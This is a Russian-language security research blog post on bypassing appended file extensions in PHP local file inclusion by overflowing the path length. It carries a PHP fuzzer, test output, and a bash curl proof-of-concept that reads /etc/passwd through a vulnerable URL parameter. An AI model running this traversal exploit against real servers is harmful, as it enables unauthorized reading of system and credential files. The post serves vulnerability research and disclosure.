Другая альтернатива null-byte

Другая альтернатива null-byte
Многие из вас, безусловно, помнят, как около года назад Raz0r поднял тему альтернативы " ядовитому нулю ", а группа ush провела соответствующие исследования в этом направлении [ 1 , 2 , 3 ]. К слову, в это же время ваш покорный слуга пополнил новым методом базу знаний XSpider / MaxPatrol , дополнив реализацию метода своими наработками [ 4 ]. Так к чему я вновь затронул эту тему? Дело в том, что в упомянутом методе основная идея была затереть конец файла (расширение), который в свою очередь попадает в инклуд. Это возможно, потому как PHP использует нормализацию пути и не может обратиться к файлу превышающему MAX_PATH. А почему бы используя все те же ограничения PHP (длина MAX_PATH), не попробовать заполнить длину имени файла, но только от начала файла? Именно такая идея пришла в голову молодому человеку (Гольцев Юрий), которому был задан соответствующий вопрос на собеседовании. И ведь действительно! Это должно работать. name='more'> Для того чтобы проверить другую альтернативу null-byte я написал простенький фаззер: <?<br /> error_reporting(E_NONE);<br /> $str = '';<br /> for ($i=0;$i<4096;$i++)<br /> {<br /> $str=$str.'n';<br /> $f = $str.'/../../../../../../../../../etc/passwd';<br /> #include()<br /> if (include($f.'.txt')) {<br /> print "
".($i+1)."tinclude(".$f.".txt)
";<br /> }<br /> if (include('q/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude(q/".$f.".txt)
";<br /> }<br /> if (include('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude(qq/".$f.".txt)
";<br /> }<br /> if (include('./'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude(./".$f.".txt)
";<br /> }<br /> #file_get_contents()<br /> if (file_get_contents($f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(".$f.".txt)
";<br /> }<br /> if (file_get_contents('q/'.$f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(q/".$f.".txt)
";<br /> }<br /> if (file_get_contents('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(qq/".$f.".txt)
";<br /> }<br /> if (file_get_contents('./'.$f.'.txt')) {<br /> print "
".($i+1)."tfile_get_contents(./".$f.".txt)
";<br /> }<br /> #include_once()<br /> if (include_once($f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(".$f.".txt)
";<br /> }<br /> if (include_once('q/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(q/".$f.".txt)
";<br /> }<br /> if (include_once('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(qq/".$f.".txt)
";<br /> }<br /> if (include_once('./'.$f.'.txt')) {<br /> print "
".($i+1)."tinclude_once(./".$f.".txt)
";<br /> }<br /> #readfile()<br /> if (readfile($f.'.txt')) {<br /> print "
".($i+1)."treadfile(".$f.".txt)
";<br /> }<br /> if (readfile('q/'.$f.'.txt')) {<br /> print "
".($i+1)."treadfile(q/".$f.".txt)
";<br /> }<br /> if (readfile('qq/'.$f.'.txt')) {<br /> print "
".($i+1)."treadfile(qq/".$f.".txt)
";<br /> }<br /> if (readfile('./'.$f.'.txt')) {<br /> print "
".($i+1)."treadfile(./".$f.".txt)
";<br /> }<br /> #fopen()<br /> if (fopen($f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(".$f.".txt,'r')
";<br /> }<br /> if (fopen('q/'.$f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(q/".$f.".txt,'r')
";<br /> }<br /> if (fopen('qq/'.$f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(qq/".$f.".txt,'r')
";<br /> }<br /> if (fopen('./'.$f.'.txt','r')) {<br /> print "
".($i+1)."tfopen(./".$f.".txt,'r')
";<br /> }<br /> }<br /> ?><br /> Результаты его работы: ~ # uname -a FreeBSD web.local 8.0-RELEASE-p2 FreeBSD 8.0-RELEASE-p2 #0: Wed Feb 10 09:09:51 MSK 2010 root@pt.local:/usr/obj/usr/src/sys/LOCAL i386 ~ # php -v PHP 5.2.12 with Suhosin-Patch 0.9.7 (cli) (built: Feb 17 2010 01:05:37) Copyright (c) 1997-2009 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies include(qq/n[..960..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..960..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..961..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..961..]n/../../../../../../../../../etc/passwd.txt) include(n[..963..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..963..]n/../../../../../../../../../etc/passwd.txt) include(qq/n[..971..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..971..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..972..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..972..]n/../../../../../../../../../etc/passwd.txt) include(n[..974..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..974..]n/../../../../../../../../../etc/passwd.txt) ~ # uname -a Linux bt 2.6.21.5 #4 SMP Thu Apr 10 04:23:56 GMT 2008 i686 Intel(R) Pentium(R) M processor 1.86GHz GenuineIntel GNU/Linux ~ # php -v PHP 5.2.4 (cli) (built: Sep 11 2007 21:55:04) Copyright (c) 1997-2007 The PHP Group Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies include(qq/n[..4041..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..4041..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..4042..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..4042..]n/../../../../../../../../../etc/passwd.txt) include(n[..4044..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..4044..]n/../../../../../../../../../etc/passwd.txt) include(qq/n[..4048..]n/../../../../../../../../../etc/passwd.txt) include_once(qq/n[..4048..]n/../../../../../../../../../etc/passwd.txt) include(q/n[..4049..]n/../../../../../../../../../etc/passwd.txt) include_once(q/n[..4049..]n/../../../../../../../../../etc/passwd.txt) include(n[..4051..]n/../../../../../../../../../etc/passwd.txt) include_once(n[..4051..]n/../../../../../../../../../etc/passwd.txt) Нужно добавить, что для функций require() и require_once(), аналогично функциям include() и include_once(), приведенные выше данные справедливы в полном объеме. И пример эксплуатации local file including обсуждаемым методом (proof of concept): #!/usr/local/bin/bash<br /> file='/etc/passwd'<br /> str=`php -r "echo str_repeat('/..', 300);"`<br /> for ((i=1; i <= 100 ; i++)) do pre=$pre'n' URL="$1$pre$str$file" response=`curl -kis $URL | egrep "^root" | wc -l` if [ $response = 1 ]; then echo "Found: $URL"; fi done bash poc.sh "http://192.168.0.51/test.php?file=" Как можно заметить это работает!
server-side attacks File Including research уязвимости web fuzzing
Alt text

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться